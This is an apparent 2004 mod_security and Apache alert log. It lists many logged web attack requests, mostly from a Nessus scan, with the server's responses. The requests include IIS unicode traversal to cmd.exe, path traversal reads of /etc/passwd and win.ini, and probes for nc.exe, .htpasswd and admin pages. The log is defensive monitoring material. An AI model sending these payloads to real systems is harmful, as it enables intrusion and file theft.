977web-application-activityWEB-IIS .cnf access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:53 2004] "GET /_vti_pvt%5caccess.cnf HTTP/1.1" 403 303
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/_vti_pvt\access.cnf
----------------------------------------
GET /_vti_pvt%5caccess.cnf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
981CVE-2000-0884web-application-attackWEB-IIS unicode directory traversal attempt
Request: 68.48.142.117 - - [Tue Mar  9 22:41:41 2004] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: Invalid character detected [192]
----------------------------------------
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0
Connnection: close
Host: www
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
982CVE-2000-0884web-application-attackWEB-IIS unicode directory traversal attempt
Request: 68.48.142.117 - - [Tue Mar  9 22:41:34 2004] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: Invalid character detected [193]
----------------------------------------
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
Connnection: close
Host: www
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
983CVE-2000-0884web-application-attackWEB-IIS unicode directory traversal attempt
Request: 68.48.142.117 - - [Tue Mar  9 22:41:42 2004] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: Invalid character detected [193]
----------------------------------------
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
Connnection: close
Host: www
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
987CVE-2000-0630web-application-activityWEB-IIS .htr access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:44 2004] "GET /NULL.htr HTTP/1.1" 404 288
Handler: (null)
Error: mod_security: Warning. Pattern match "\.htr" at THE_REQUEST.
----------------------------------------
GET /NULL.htr HTTP/1.1
Host: www.testproxy.net
mod_security-message: Warning. Pattern match "\.htr" at THE_REQUEST.

HTTP/1.1 404 Not Found
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
989web-application-activityWEB-IIS Unicode2.pl script (File permission canonicalization)
Request: 217.160.165.173 - - [Fri Mar 12 22:45:51 2004] "GET /scripts/sensepost.exe?/c+dir+c:\+/OG HTTP/1.1" 403 305
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/scripts
----------------------------------------
GET /scripts/sensepost.exe?/c+dir+c:\+/OG HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=82
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
990web-application-activityWEB-IIS _vti_inf access
Request: 217.160.165.173 - - [Fri Mar 12 22:43:55 2004] "GET /_vti_inf.html HTTP/1.1" 404 293
Handler: (null)
Error: mod_security: Warning. Pattern match "_vti_inf\.html" at THE_REQUEST.
----------------------------------------
GET /_vti_inf.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "_vti_inf\.html" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
993web-application-attackWEB-IIS iisadmin access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:10 2004] "GET /iisadmin/ HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/iisadmin/] for 50000 ms
----------------------------------------
GET /iisadmin/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/iisadmin" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
995BID189
CVE-2000-0630
web-application-attackWEB-IIS ism.dll access
Request: 24.127.175.68 - - [Sat Mar 13 14:41:32 2004] "GET http://brazilian-transsexuals.com/members//scripts/iisadmin/ism.dll?http/dir;dunno;RainM; HTTP/1.0" 200 566
Handler: proxy-server
Error: mod_security: pausing [http://brazilian-transsexuals.com/members//scripts/iisadmin/ism.dll?http/dir;dunno;RainM;] for 50000 ms
----------------------------------------
GET http://brazilian-transsexuals.com/members//scripts/iisadmin/ism.dll?http/dir;dunno;RainM; HTTP/1.0
Cache-Control: no-cache
Connection: close
Host: brazilian-transsexuals.com
Pragma: no-cache
Proxy-Connection: keep-alive
Referer: http://brazilian-transsexuals.com/members//scripts/iisadmin/ism.dll?http/dir;dunno;RainM;
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
mod_security-message: Access denied with code 200. Pattern match "/scripts/iisadmin/ism\.dll\?http/dir" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
997web-application-attackWEB-IIS asp-dot attempt
Request: 218.72.187.112 - - [Sat Mar 13 09:13:48 2004] "GET http://pagead2.googlesyndication.com/pagead/ads?client=ca-pub-5160265213986229&random=1079126391580&lmt=1079124085&format=120x600_as&output=html&url=http%3A%2F%2Fwww.spord.com%2Fexpiringdomains.asp.htm&color_bg=FFFFFF&color_text=000000&color_link=0000FF&color_url=008000&color_border=336699 HTTP/1.0" 200 566
Handler: proxy-server
Error: mod_security: pausing [http://pagead2.googlesyndication.com/pagead/ads?client=ca-pub-5160265213986229&amp;random=1079126391580&amp;lmt=1079124085&amp;format=120x600_as&amp;output=html&amp;url=http%3A%2F%2Fwww.spord.com%2Fexpiringdomains.asp.htm&amp;color_bg=FFFFFF&amp;color_text=000000&amp;color_link=0000FF&amp;color_url=008000&amp;color_border=336699] for 50000 ms
----------------------------------------
GET http://pagead2.googlesyndication.com/pagead/ads?client=ca-pub-5160265213986229&random=1079126391580&lmt=1079124085&format=120x600_as&output=html&url=http%3A%2F%2Fwww.spord.com%2Fexpiringdomains.asp.htm&color_bg=FFFFFF&color_text=000000&color_link=0000FF&color_url=008000&color_border=336699 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*
Accept-Language: en
Connection: Keep-Alive
Host: pagead2.googlesyndication.com
Referer: http://www.spord.com/expiringdomains.asp.htm
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
mod_security-message: Access denied with code 200. Pattern match "\.asp\." at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1001BID2126
CAN-1999-1069
attempted-reconWEB-MISC carbo.dll access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:04 2004] "GET /cgi-bin/carbo.dll?icatcommand=..\..\..\..\..\..\winnt\win.ini&catalogname=catalog HTTP/1.1" 403 301
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/carbo.dll
----------------------------------------
GET /cgi-bin/carbo.dll?icatcommand=..\..\..\..\..\..\winnt\win.ini&catalogname=catalog HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1002web-application-attackWEB-IIS cmd.exe access
Request: 68.48.142.117 - - [Tue Mar  9 22:22:57 2004] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: pausing [/c/winnt/system32/cmd.exe] for 50000 ms
----------------------------------------
GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0
Connnection: close
Host: www
mod_security-message: Access denied with code 200. Pattern match "cmd\.exe" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1013BID2252web-application-activityWEB-IIS fpcount access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:59 2004] "GET /_vti_bin/fpcount.exe HTTP/1.1" 404 300
Handler: (null)
Error: mod_security: Warning. Pattern match "/_vti_bin/" at THE_REQUEST.
----------------------------------------
GET /_vti_bin/fpcount.exe HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/fpcount\.exe" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1016CVE-2000-0778
Nessus 10491
web-application-activityWEB-IIS global.asa access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:13 2004] "GET /global.asa\ HTTP/1.0" 404 279
Handler: (null)
Error: mod_security: Warning. Pattern match "/global\.asa" at THE_REQUEST.
----------------------------------------
GET /global.asa\ HTTP/1.0
Translate: f
mod_security-message: Warning. Pattern match "/global\.asa" at THE_REQUEST.

HTTP/1.0 404 Not Found
Connection: close
Content-Type: text/html; charset=iso-8859-1
1023BID529
CVE-1999-1011
web-application-activityWEB-IIS msadcs.dll access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:47 2004] "GET /msadc/msadcs.dll HTTP/1.1" 404 296
Handler: (null)
Error: mod_security: Warning. Pattern match "/msadcs\.dll" at THE_REQUEST.
----------------------------------------
GET /msadc/msadcs.dll HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/msadcs\.dll" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1024CVE-1999-0191
BID1818
web-application-activityWEB-IIS newdsn.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:03 2004] "GET /scripts/tools/newdsn.exe HTTP/1.1" 404 304
Handler: (null)
Error: mod_security: Warning. Pattern match "/scripts/tools/newdsn\.exe" at THE_REQUEST.
----------------------------------------
GET /scripts/tools/newdsn.exe HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/scripts/tools/newdsn\.exe" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1038BID256web-application-activityWEB-IIS site server config access
Request: 24.127.175.68 - - [Sat Mar 13 15:16:43 2004] "GET http://thedomina.com/members/index.html/adsamples/config/site.csc;dunno;RainM; HTTP/1.0" 401 19686
Handler: proxy-server
Error: mod_security: Warning. Pattern match "/adsamples/config/site\.csc" at THE_REQUEST.
----------------------------------------
GET http://thedomina.com/members/index.html/adsamples/config/site.csc;dunno;RainM; HTTP/1.0
Cache-Control: no-cache
Connection: close
Host: thedomina.com
Pragma: no-cache
Proxy-Connection: keep-alive
Referer: http://thedomina.com/members/index.html/adsamples/config/site.csc;dunno;RainM;
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
mod_security-message: Warning. Pattern match "/adsamples/config/site\.csc" at THE_REQUEST.

HTTP/1.0 401 Authorization Required
Warning: Subject to Monitoring
WWW-Authenticate: Basic realm="The Domina - Member Entrance"
Last-Modified: Sat, 13 Mar 2004 17:13:55 GMT
ETag: "3b852a-4ce6-40534153"
Accept-Ranges: bytes
Content-Length: 19686
Content-Type: text/html
X-Cache: MISS from www.testproxy.net
Connection: close
1051BID2156
CVE-2001-0075
web-application-attackWEB-CGI technote main.cgi file directory traversal attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:37:09 2004] "GET /technote/main.cgi?board=FREE_BOARD&command=down_load&filename=/../../../../../../../../etc/passwd HTTP/1.1" 403 301
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/technote
----------------------------------------
GET /technote/main.cgi?board=FREE_BOARD&command=down_load&filename=/../../../../../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1054BID2527web-application-attackWEB-MISC weblogic view source attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:42:03 2004] "GET /cgi-bin/index.js%70 HTTP/1.1" 404 297
Handler: cgi-script
Error: script not found or unable to stat: /usr/local/apache/cgi-bin/index.jsp
----------------------------------------
GET /cgi-bin/index.js%70 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
 
HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1057web-application-activityWEB-MISC ftp attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:46:07 2004] "GET /scripts/ftp.exe?/c+-h HTTP/1.1" 404 295
Handler: (null)
Error: mod_security: Warning. Pattern match "ftp\.exe" at THE_REQUEST.
----------------------------------------
GET /scripts/ftp.exe?/c+-h HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "ftp\.exe" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=40
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1062web-application-activityWEB-MISC nc.exe attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:45:55 2004] "GET /scripts/nc.exe?-h HTTP/1.1" 403 298
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/scripts
----------------------------------------
GET /scripts/nc.exe?-h HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=48
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1071web-application-attackWEB-MISC .htpasswd access
Request: 129.137.161.10 - - [Sat Mar 13 21:31:40 2004] "GET http://www.boygangs.com//.htpasswd.pl HTTP/1.0" 403 308
Handler: proxy-server
Error: client denied by server configuration: proxy:http://www.boygangs.com//.htpasswd.pl
----------------------------------------
GET http://www.boygangs.com//.htpasswd.pl HTTP/1.0
Accept: */*, text/html

HTTP/1.0 403 Forbidden
Connection: close
Content-Type: text/html; charset=iso-8859-1
1072BID2173
CVE-2001-0009
web-application-attackWEB-MISC Lotus Domino directory traversal
Request: 217.160.165.173 - - [Fri Mar 12 22:45:38 2004] "GET %00.nsf/../../../../../lotus/domino/notes.ini HTTP/1.1" 404 279
Handler: (null)
----------------------------------------
GET %00.nsf/../../../../../lotus/domino/notes.ini HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1077web-application-activityWEB-MISC queryhit.htm access
Request: 24.127.175.68 - - [Sat Mar 13 14:46:30 2004] "GET http://gunnerworld.com/members/mainmenu/MEMMENU.html/samples/search/queryhit.htm;dunno;RainM; HTTP/1.0" 401 469
Handler: proxy-server
Error: mod_security: Warning. Pattern match "/samples/search/queryhit\.htm" at THE_REQUEST.
----------------------------------------
GET http://gunnerworld.com/members/mainmenu/MEMMENU.html/samples/search/queryhit.htm;dunno;RainM; HTTP/1.0
Cache-Control: no-cache
Connection: close
Host: gunnerworld.com
Pragma: no-cache
Proxy-Connection: keep-alive
Referer: http://gunnerworld.com/members/mainmenu/MEMMENU.html/samples/search/queryhit.htm;dunno;RainM;
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
mod_security-message: Access denied with code 200. Pattern match "/search" at THE_REQUEST.

HTTP/1.0 401 Authorization Required
Warning: Subject to Monitoring
WWW-Authenticate: Basic realm="Members"
Content-Type: text/html; charset=iso-8859-1
X-Cache: MISS from www.testproxy.net
Connection: close
1078BID267web-application-activityWEB-MISC counter.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:46:48 2004] "GET /cgi-bin/counter.exe HTTP/1.1" 404 299
Handler: cgi-script
Error: script not found or unable to stat: /usr/local/apache/cgi-bin/counter.exe
----------------------------------------
GET /cgi-bin/counter.exe HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1080CVE-2000-1024
BID1868
web-application-attackWEB-MISC unify eWave ServletExec upload
Request: 217.160.165.173 - - [Fri Mar 12 22:42:19 2004] "GET /servlet/com.unify.servletexec.UploadServlet HTTP/1.1" 403 327
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/servlet
----------------------------------------
GET /servlet/com.unify.servletexec.UploadServlet HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1088CVE-2000-1005
BID1774
web-application-attackWEB-CGI eXtropia webstore directory traversal
Request: 217.160.165.173 - - [Fri Mar 12 22:38:27 2004] "GET /cgi-bin/Web_Store/web_store.cgi?page=../../../../../../etc/passwd%00.html HTTP/1.1" 403 315
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/Web_Store
----------------------------------------
GET /cgi-bin/Web_Store/web_store.cgi?page=../../../../../../etc/passwd%00.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1096BID1720web-application-activityWEB-MISC Talentsoft Web+ internal IP Address access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:50 2004] "GET /cgi-bin/webplus.exe?about HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/webplus.exe
----------------------------------------
GET /cgi-bin/webplus.exe?about HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1106BID1431
CAN-2000-0590
web-application-activityWEB-CGI Poll-it access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:23 2004] "GET /cgi-bin/pollit/Poll_It_SSI_v2.0.cgi?data_dir=/etc/passwd%00 HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: Invalid character detected [0]
----------------------------------------
GET /cgi-bin/pollit/Poll_It_SSI_v2.0.cgi?data_dir=/etc/passwd%00 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1108BID1532
CAN-2000-0760
attempted-reconWEB-MISC Tomcat server snoop access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:14 2004] "GET /examples/jsp/snp/anything.snp HTTP/1.1" 403 313
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/examples
----------------------------------------
GET /examples/jsp/snp/anything.snp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1110CVE-2000-0628
BID1457
attempted-reconWEB-MISC apache source.asp file access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:31 2004] "GET /site/eg/source.asp HTTP/1.1" 403 302
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/site
----------------------------------------
GET /site/eg/source.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1111attempted-reconWEB-MISC Tomcat server exploit access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:04 2004] "GET /admin/contextAdmin/contextAdmin.html HTTP/1.1" 403 320
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/admin
----------------------------------------
GET /admin/contextAdmin/contextAdmin.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1112arachNIDS 298attempted-reconWEB-MISC http directory traversal
Request: 217.160.165.173 - - [Fri Mar 12 22:30:35 2004] "GET ..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1" 400 381
Handler: (null)
Error: Invalid URI in request GET ..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1
----------------------------------------
GET ..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 400 Bad Request
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1113arachNIDS 297attempted-reconWEB-MISC http directory traversal
Request: 68.48.142.117 - - [Tue Mar  9 22:45:58 2004] "GET /scripts/..%25%35%63../httpodbc.dll HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: pausing [/scripts/..%5c../httpodbc.dll] for 50000 ms
----------------------------------------
GET /scripts/..%25%35%63../httpodbc.dll HTTP/1.0
Connnection: close
Host: www
mod_security-message: Access denied with code 200. Pattern match "\.\." at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1122attempted-reconWEB-MISC /etc/passwd
Request: 217.160.165.173 - - [Fri Mar 12 22:31:14 2004] "GET /PSUser/PSCOErrPage.htm?errPagePath=/etc/passwd HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/PSUser/PSCOErrPage.htm] for 50000 ms
----------------------------------------
GET /PSUser/PSCOErrPage.htm?errPagePath=/etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/etc/passwd" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1125CAN-1999-0610
Nessus 10298
attempted-reconWEB-MISC webcart access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:45 2004] "GET /webcart/config/ HTTP/1.1" 403 299
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/webcart
----------------------------------------
GET /webcart/config/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1129attempted-reconWEB-MISC .htaccess access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:51 2004] "GET /.htaccess HTTP/1.1" 403 293
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/.htaccess
----------------------------------------
GET /.htaccess HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1140arachNIDS 228
CVE-1999-0237
BID776
Nessus 10099
attempted-reconWEB-MISC guestbook.pl access
Request: 217.160.165.173 - - [Fri Mar 12 22:43:02 2004] "GET /cgi-bin/guestbook.pl HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/guestbook.pl
----------------------------------------
GET /cgi-bin/guestbook.pl HTTP/1.1
